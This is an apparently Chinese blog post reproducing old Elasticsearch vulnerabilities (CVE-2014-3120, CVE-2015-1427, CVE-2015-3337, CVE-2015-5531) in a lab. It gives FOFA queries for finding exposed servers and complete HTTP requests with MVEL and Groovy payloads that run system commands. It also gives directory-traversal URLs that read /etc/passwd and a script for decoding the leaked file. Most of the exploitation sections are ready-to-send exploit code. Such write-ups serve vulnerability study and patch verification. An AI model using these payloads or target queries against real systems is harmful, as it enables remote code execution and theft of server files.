Elasticsearch中间件特征及漏洞复现

ElasticSearch 是一个分布式的RESTful搜索和分析引擎。

Web特征

此应用无前端页面,只是一个api接口,其默认端口为:9200,web默认特征是ES 标志性返回字段:"tagline": "You Know, for Search",以及一些版本信息,且默认没有身份验证

fofa语法:port="9200" && body="You Know, for Search"

image-20251120190215701

漏洞复现

CVE-2014-3120(RCE)

ElasticSearch 1.2版本之前默认启用了动态脚本功能,攻击者可以通过_search请求的source参数执行任意MVEL表达式和Java代码。MVEL是一种基于Java的动态脚本语言,下面是一个使用MVEL执行系统命令的示例代码:

import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();

fofa语法:port="9200" && body="You Know, for Search" && body="1.1.1"

影响版本:

​ jre版本:openjdk:8-jre
​ elasticsearch版本:v1.1.1

复现示例

此漏洞利用需要索引中至少存在一个文档。首先,创建一个文档:

POST /website/blog/ HTTP/1.1
Host: target-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

{
  "name": "vulhub"
}
image-20251120190643218

然后,发送包含恶意MVEL脚本的请求来执行任意命令,这里执行的是id:

POST /_search?pretty HTTP/1.1
Host: target-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 343

{
    "size": 1,
    "query": {
      "filtered": {
        "query": {
          "match_all": {
          }
        }
      }
    },
    "script_fields": {
        "command": {
            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
        }
    }
}

执行效果:

image-20251120190736387

CVE-2015-1427(Groovy 沙盒绕过与RCE)

ElasticSearch修复了CVE-2014-3120后将动态语言改为了Groovy,并增加了沙盒保护。但动态语言执行功能仍然默认启用,因此此漏洞包含沙盒绕过和Groovy代码执行漏洞两个方面,即:

  1. Lupin的方法:使用Java反射绕过沙盒
  2. Tang3的方法:直接使用Groovy语言特性执行命令,无需使用Java

所以有两个不同的POC:

java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()  //Java沙盒绕过方法
def command='id';def res=command.execute().text;res   //Groovy直接命令执行方法

fofa语句:port="9200" && body="You Know, for Search" && body="1.4.7"

影响版本:
jre版本:openjdk:8-jre
elasticsearch版本:1.3.0 至 1.3.7(包含边界版本)、1.4.0 至 1.4.2(包含边界版本)

复现示例

由于查询时需要索引中至少有一条数据,首先发送以下请求添加数据:

POST /website/blog/ HTTP/1.1
Host: target-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

{
  "name": "test"
}
image-20251120192634450

然后发送包含payload的请求来执行任意命令,payload1:

POST /_search?pretty HTTP/1.1
Host: target-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 156

{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}
image-20251120192714022

payload2:

{"size": 1,"script_fields": {"command": {"script": "def command='id';def res=command.execute().text;res","lang": "groovy"}}}
image-20251120193219400

CVE-2015-3337(插件导致任意文件读取)

应用的插件功能中存在一个目录穿越漏洞,攻击者可以利用该漏洞读取系统上的任意文件。在安装了具有"site"功能的插件后,攻击者可以通过在插件目录路径中使用../来遍历目录树,从而实现任意文件读取。未安装任何插件的ElasticSearch不受此漏洞影响。

fofa语句:port="9200" && body="You Know, for Search" && body="1.4.4"

影响版本:

  • 1.3.x 系列:1.3.0 ~ 1.3.8(包含边界版本,1.3.9 及以上修复)
  • 1.4.x 系列:1.4.0 ~ 1.4.4(包含边界版本,1.4.5 及以上修复)

复现示例

通过bp抓一个包进行修改,访问此路径即可读取任意文件:

http://target-ip:9200/_plugin/head/../../../../../../../../../etc/passwd
image-20251120202747025

CVE-2015-5531(快照和恢复功能目录穿越)

在1.6.0及更早版本中,存在一个目录穿越漏洞,攻击者可以利用该漏洞读取系统上的任意文件,根据目标的具体版本,该漏洞的利用条件也存在不同:在1.5.1及更早版本中,无需任何配置即可触发该漏洞;在之后的版本中,必须在elasticsearch.yml配置文件中设置path.repo参数。此配置指定一个必须可写的目录,作为备份仓库的根位置。如果未配置此参数,快照和恢复功能将默认禁用。

fofa语句:port="9200" && body="You Know, for Search" && body="1.6.0"

影响范围:

  • 1.0.x-1.4.x 分支:全版本受影响,无官方更新
  • 1.5.x 分支:1.5.0-1.5.1 版本(目标无需配置直接读取文件内容),1.5.2-1.5.0 版本(目标需配置 path.repo)
  • 1.6.x 分支:1.6.0 及以下版本(目标需配置 path.repo)

复现示例

1.创建仓库

PUT /_snapshot/test HTTP/1.1
Host: target-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 108

{
    "type": "fs",
    "settings": {
        "location": "/usr/share/elasticsearch/repo/test" 
    }
}
image-20251120205543712

2.创建快照

PUT /_snapshot/test2 HTTP/1.1
Host: target-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 108

{
    "type": "fs",
    "settings": {
        "location": "/usr/share/elasticsearch/repo/test/snapshot-backdata" 
    }
}
image-20251120205620032

3.利用目录穿越读取文件

发送请求使用目录穿越来读取任意文件。例如,要读取/etc/passwd文件:

http://target-ip:9200/_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
image-20251120205832935

4.解码

文件内容将包含在错误信息中(经过编码)。解码后即可获得文件内容:

image-20251120210514675

PS:此编码是通用ASCII,可以使用Cyberchef的From Decimal模块进行解码,或者使用下面的脚本:

# 把下面的数字列表替换成你的完整数字串(去掉逗号,用逗号分隔成列表)
ascii_codes = [114, 111, 111, 116, 58, 120, 58, 48, ...]
# 解码并输出文本
decoded_text = ''.join(chr(code) for code in ascii_codes)
print(decoded_text)
# 可选:保存到文件(比如 decoded_etc_passwd.txt)
with open("decoded_etc_passwd.txt", "w") as f:
    f.write(decoded_text)
posted @ 2025-12-02 12:56  shinianyunyan  阅读(23)  评论(0)    收藏  举报